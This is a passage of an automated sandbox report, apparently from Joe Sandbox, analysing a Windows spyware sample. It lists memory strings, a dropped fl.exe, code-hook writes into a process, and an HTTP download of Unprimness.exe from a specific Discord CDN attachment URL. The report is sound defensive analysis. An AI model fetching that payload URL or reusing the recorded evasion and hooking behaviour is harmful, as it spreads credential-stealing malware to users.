Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000000.281169813.00000000000C2000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.346316963.0000000000402000.00000020.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: AppLaunch.exe, 00000002.00000002.352127220.0000000007969000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: AppLaunch.exe, 00000002.00000002.352127220.0000000007969000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351702204.0000000007854000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/902018470651248682/903220784527462500/Unprimness.exe
Source: AppLaunch.exe, 00000002.00000002.348057731.0000000005731000.00000004.00000020.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/902018470651248682/903220784527462500/Unprimness.exee
Source: AppLaunch.exe, 00000002.00000002.352127220.0000000007969000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com4
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351638818.0000000007825000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AppLaunch.exe, 00000002.00000002.351638818.0000000007825000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabLW0
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351638818.0000000007825000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351049760.0000000007745000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp, AppLaunch.exe, 00000002.00000002.351049760.0000000007745000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/902018470651248682/903220784527462500/Unprimness.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: www.google.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49747 version: TLS 1.2

System Summary:

PE file contains section with special chars

Show sources

Source: fl.exe.2.dr

Static PE information: section name: y'&jKHJ

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 208

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0568EC08	2_2_0568EC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A743F50	2_2_0A743F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A74EAA0	2_2_0A74EAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A746860	2_2_0A746860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A746FF8	2_2_0A746FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7E8A68	2_2_0A7E8A68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7EABB8	2_2_0A7EABB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7EEE50	2_2_0A7EEE50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7E3FB0	2_2_0A7E3FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7ED478	2_2_0A7ED478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7E6D60	2_2_0A7E6D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0A7EA0A0	2_2_0A7EA0A0

Source: fl.exe.2.dr

Static PE information: No import functions for PE file found

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000003.279236998.000000000274C000.00000040.00000001.sdmp

Binary or memory string: OriginalFilenameFatiguing.exe4 vs 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Source: fl.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fl.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fl.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Virustotal: Detection: 27%
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe 'C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe'
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe 'C:\Users\user\AppData\Local\Temp\fl.exe'
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe 'C:\Users\user\AppData\Local\Temp\fl.exe'	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Temp\fl.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/9@2/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Subcompany
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7008

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\fl.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Static file information: File size 4377600 > 1048576

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Static PE information: Raw size of .iQWIeij is bigger than: 0x100000 < 0x3fa600

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000000A.00000003.295825402.0000000005143000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb{ source: WerFault.exe, 0000000A.00000003.295825402.0000000005143000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_05683C48 push 5C00045Eh; iretd		2_2_05683C81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0568F902 push E802005Eh; ret		2_2_0568F909

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Static PE information: section name: .biJ1zjw
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Static PE information: section name: .iQWIeij
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Static PE information: section name: .iQWIeij
Source: fl.exe.2.dr	Static PE information: section name: y'&jKHJ

Source: initial sample

Static PE information: section where entry point is pointing to: .iQWIeij

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Temp\fl.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Show sources

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: B10005 value: E9 FB BF B0 76	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 7761C000 value: E9 0A 40 4F 89	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: B20008 value: E9 AB E0 B3 76	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 7765E0B0 value: E9 60 1F 4C 89	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 26F0005 value: E9 CB 5A 21 74	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 76905AD0 value: E9 3A A5 DE 8B	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 2700005 value: E9 5B B0 22 74	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 7692B060 value: E9 AA 4F DD 8B	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 2710005 value: E9 DB F8 E3 71	Jump to behavior
